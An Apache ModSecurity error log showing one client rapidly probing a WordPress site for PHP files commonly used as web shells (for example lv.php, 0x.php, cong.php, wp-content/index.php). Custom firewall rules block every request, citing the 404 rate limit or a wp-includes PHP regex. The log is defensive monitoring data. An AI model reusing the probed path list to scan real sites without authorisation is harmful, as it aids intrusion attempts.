[Sat Jan 10 04:49:30.255975 2026] [:error] [pid 20647:tid 20702] [client 65.52.163.14:2163] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aWFp2qvb0x69MarUHzCW6gAAAFQ"]
[Sat Jan 10 04:49:30.517234 2026] [:error] [pid 20647:tid 20689] [client 65.52.163.14:2039] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aWFp2qvb0x69MarUHzCW6wAAAEc"]
[Sat Jan 10 04:49:30.778291 2026] [:error] [pid 20647:tid 20699] [client 65.52.163.14:1991] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "aWFp2qvb0x69MarUHzCW7gAAAFE"]
[Sat Jan 10 04:49:31.028525 2026] [:error] [pid 20744:tid 20773] [client 65.52.163.14:2010] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "aWFp20A8oR5jvkFpcP9SEAAAANA"]
[Sat Jan 10 04:49:31.331171 2026] [:error] [pid 20744:tid 20766] [client 65.52.163.14:1934] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "aWFp20A8oR5jvkFpcP9SEgAAAMk"]
[Sat Jan 10 04:49:31.596634 2026] [:error] [pid 20648:tid 20726] [client 65.52.163.14:2152] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "aWFp2zBnnIoBkEBdx9D1lgAAAJE"]
[Sat Jan 10 04:49:32.248010 2026] [:error] [pid 20646:tid 20679] [client 65.52.163.14:2074] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aWFp3CKwdq_UhOM64b6dYAAAABg"]
[Sat Jan 10 04:49:32.621216 2026] [:error] [pid 20647:tid 20704] [client 65.52.163.14:2109] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aWFp3Kvb0x69MarUHzCW8AAAAFY"]
[Sat Jan 10 04:49:32.982491 2026] [:error] [pid 20647:tid 20682] [client 65.52.163.14:2097] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aWFp3Kvb0x69MarUHzCW8gAAAEA"]
[Sat Jan 10 04:49:33.996632 2026] [:error] [pid 20648:tid 20725] [client 65.52.163.14:2038] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aWFp3TBnnIoBkEBdx9D1nQAAAJA"]
[Sat Jan 10 04:49:34.828619 2026] [:error] [pid 20648:tid 20727] [client 65.52.163.14:2111] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aWFp3jBnnIoBkEBdx9D1owAAAJI"]
[Sat Jan 10 04:49:35.207011 2026] [:error] [pid 20744:tid 20772] [client 65.52.163.14:2049] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aWFp30A8oR5jvkFpcP9SEwAAAM8"]
[Sat Jan 10 04:49:35.702361 2026] [:error] [pid 20647:tid 20691] [client 65.52.163.14:2107] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aWFp36vb0x69MarUHzCW9wAAAEk"]
[Sat Jan 10 04:49:36.204104 2026] [:error] [pid 20646:tid 20664] [client 65.52.163.14:1996] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aWFp4CKwdq_UhOM64b6dZQAAAAk"]
[Sat Jan 10 04:49:37.078497 2026] [:error] [pid 20648:tid 20713] [client 65.52.163.14:2065] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aWFp4TBnnIoBkEBdx9D1rAAAAIQ"]
[Sat Jan 10 04:49:37.492641 2026] [:error] [pid 20744:tid 20760] [client 65.52.163.14:2119] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aWFp4UA8oR5jvkFpcP9SFAAAAMM"]
[Sat Jan 10 04:49:38.256768 2026] [:error] [pid 20646:tid 20667] [client 65.52.163.14:1993] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aWFp4iKwdq_UhOM64b6dZwAAAAw"]
[Sat Jan 10 04:49:38.696955 2026] [:error] [pid 20648:tid 20711] [client 65.52.163.14:2087] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aWFp4jBnnIoBkEBdx9D1rgAAAII"]
[Sat Jan 10 04:49:40.013948 2026] [:error] [pid 20648:tid 20721] [client 65.52.163.14:2030] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aWFp5DBnnIoBkEBdx9D1sAAAAIw"]
[Sat Jan 10 04:49:40.361453 2026] [:error] [pid 20648:tid 20731] [client 65.52.163.14:2079] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aWFp5DBnnIoBkEBdx9D1sQAAAJY"]
[Sat Jan 10 04:49:40.678037 2026] [:error] [pid 20648:tid 20725] [client 65.52.163.14:2132] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aWFp5DBnnIoBkEBdx9D1sgAAAJA"]
[Sat Jan 10 04:49:40.923562 2026] [:error] [pid 20648:tid 20715] [client 65.52.163.14:2025] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aWFp5DBnnIoBkEBdx9D1swAAAIY"]
[Sat Jan 10 04:49:41.268529 2026] [:error] [pid 20647:tid 20705] [client 65.52.163.14:2009] [client 65.52.163.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aWFp5avb0x69MarUHzCW_wAAAFc"]
[Sat Jan 10 04:49:41.548083 2026] [:error] [pid 20648:tid 20727] [client 65.52.163.14:1920] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aWFp5TBnnIoBkEBdx9D1tQAAAJI"]
[Sat Jan 10 04:49:42.028287 2026] [:error] [pid 20648:tid 20732] [client 65.52.163.14:1989] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aWFp5jBnnIoBkEBdx9D1twAAAJc"]
[Sat Jan 10 04:49:42.284436 2026] [:error] [pid 20648:tid 20722] [client 65.52.163.14:2154] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aWFp5jBnnIoBkEBdx9D1uAAAAI0"]
[Sat Jan 10 04:49:42.561675 2026] [:error] [pid 20648:tid 20709] [client 65.52.163.14:2041] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aWFp5jBnnIoBkEBdx9D1uQAAAIA"]
[Sat Jan 10 04:49:42.820347 2026] [:error] [pid 20648:tid 20726] [client 65.52.163.14:2029] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aWFp5jBnnIoBkEBdx9D1uwAAAJE"]
[Sat Jan 10 04:49:43.132200 2026] [:error] [pid 20648:tid 20730] [client 65.52.163.14:2174] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aWFp5zBnnIoBkEBdx9D1vQAAAJU"]
[Sat Jan 10 04:49:43.403753 2026] [:error] [pid 20744:tid 20775] [client 65.52.163.14:1976] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aWFp50A8oR5jvkFpcP9SFQAAANI"]
[Sat Jan 10 04:49:43.665444 2026] [:error] [pid 20646:tid 20673] [client 65.52.163.14:2140] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aWFp5yKwdq_UhOM64b6daQAAABI"]
[Sat Jan 10 04:49:44.015128 2026] [:error] [pid 20744:tid 20771] [client 65.52.163.14:2157] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aWFp6EA8oR5jvkFpcP9SFgAAAM4"]
[Sat Jan 10 04:49:44.302016 2026] [:error] [pid 20647:tid 20686] [client 65.52.163.14:2098] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aWFp6Kvb0x69MarUHzCXAQAAAEQ"]
[Sat Jan 10 04:49:44.536649 2026] [:error] [pid 20648:tid 20724] [client 65.52.163.14:2129] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aWFp6DBnnIoBkEBdx9D1wAAAAI8"]
[Sat Jan 10 04:49:44.902976 2026] [:error] [pid 20744:tid 20763] [client 65.52.163.14:2125] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aWFp6EA8oR5jvkFpcP9SFwAAAMY"]
[Sat Jan 10 04:49:45.157462 2026] [:error] [pid 20744:tid 20762] [client 65.52.163.14:2081] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aWFp6UA8oR5jvkFpcP9SGAAAAMU"]
[Sat Jan 10 04:49:45.403879 2026] [:error] [pid 20648:tid 20711] [client 65.52.163.14:2100] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aWFp6TBnnIoBkEBdx9D1wgAAAII"]
[Sat Jan 10 04:49:45.674368 2026] [:error] [pid 20744:tid 20774] [client 65.52.163.14:2084] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aWFp6UA8oR5jvkFpcP9SGQAAANE"]
[Sat Jan 10 04:49:45.931228 2026] [:error] [pid 20648:tid 20733] [client 65.52.163.14:1953] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aWFp6TBnnIoBkEBdx9D1xAAAAJg"]
[Sat Jan 10 04:49:46.167731 2026] [:error] [pid 20744:tid 20779] [client 65.52.163.14:2108] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aWFp6kA8oR5jvkFpcP9SGwAAANY"]
[Sat Jan 10 04:49:46.409010 2026] [:error] [pid 20647:tid 20693] [client 65.52.163.14:2114] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aWFp6qvb0x69MarUHzCXAgAAAEs"]
[Sat Jan 10 04:49:46.660547 2026] [:error] [pid 20648:tid 20712] [client 65.52.163.14:2018] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aWFp6jBnnIoBkEBdx9D1xgAAAIM"]
[Sat Jan 10 04:49:46.897795 2026] [:error] [pid 20648:tid 20723] [client 65.52.163.14:1965] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aWFp6jBnnIoBkEBdx9D1yAAAAI4"]
[Sat Jan 10 04:49:47.165545 2026] [:error] [pid 20648:tid 20731] [client 65.52.163.14:2047] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aWFp6zBnnIoBkEBdx9D1yQAAAJY"]
[Sat Jan 10 04:49:47.418738 2026] [:error] [pid 20744:tid 20781] [client 65.52.163.14:2159] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aWFp60A8oR5jvkFpcP9SHQAAANg"]
[Sat Jan 10 04:49:47.680184 2026] [:error] [pid 20744:tid 20759] [client 65.52.163.14:2080] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aWFp60A8oR5jvkFpcP9SHgAAAMI"]
[Sat Jan 10 04:49:47.917478 2026] [:error] [pid 20648:tid 20726] [client 65.52.163.14:2133] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aWFp6zBnnIoBkEBdx9D1zgAAAJE"]
[Sat Jan 10 04:49:48.157244 2026] [:error] [pid 20648:tid 20729] [client 65.52.163.14:2090] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aWFp7DBnnIoBkEBdx9D10AAAAJQ"]
[Sat Jan 10 04:49:48.440795 2026] [:error] [pid 20648:tid 20714] [client 65.52.163.14:1999] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aWFp7DBnnIoBkEBdx9D10gAAAIU"]
[Sat Jan 10 04:49:48.713162 2026] [:error] [pid 20744:tid 20776] [client 65.52.163.14:2134] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aWFp7EA8oR5jvkFpcP9SIgAAANM"]
[Sat Jan 10 04:49:48.964658 2026] [:error] [pid 20744:tid 20773] [client 65.52.163.14:2093] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aWFp7EA8oR5jvkFpcP9SIwAAANA"]
[Sat Jan 10 04:49:49.199438 2026] [:error] [pid 20648:tid 20713] [client 65.52.163.14:2076] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aWFp7TBnnIoBkEBdx9D11QAAAIQ"]
[Sat Jan 10 04:49:49.434043 2026] [:error] [pid 20648:tid 20721] [client 65.52.163.14:1979] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aWFp7TBnnIoBkEBdx9D11wAAAIw"]
[Sat Jan 10 04:49:49.683932 2026] [:error] [pid 20647:tid 20701] [client 65.52.163.14:2124] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aWFp7avb0x69MarUHzCXAwAAAFM"]
[Sat Jan 10 04:49:50.090319 2026] [:error] [pid 20744:tid 20766] [client 65.52.163.14:2102] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aWFp7kA8oR5jvkFpcP9SJQAAAMk"]
[Sat Jan 10 04:49:50.332138 2026] [:error] [pid 20744:tid 20764] [client 65.52.163.14:2032] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aWFp7kA8oR5jvkFpcP9SJgAAAMc"]
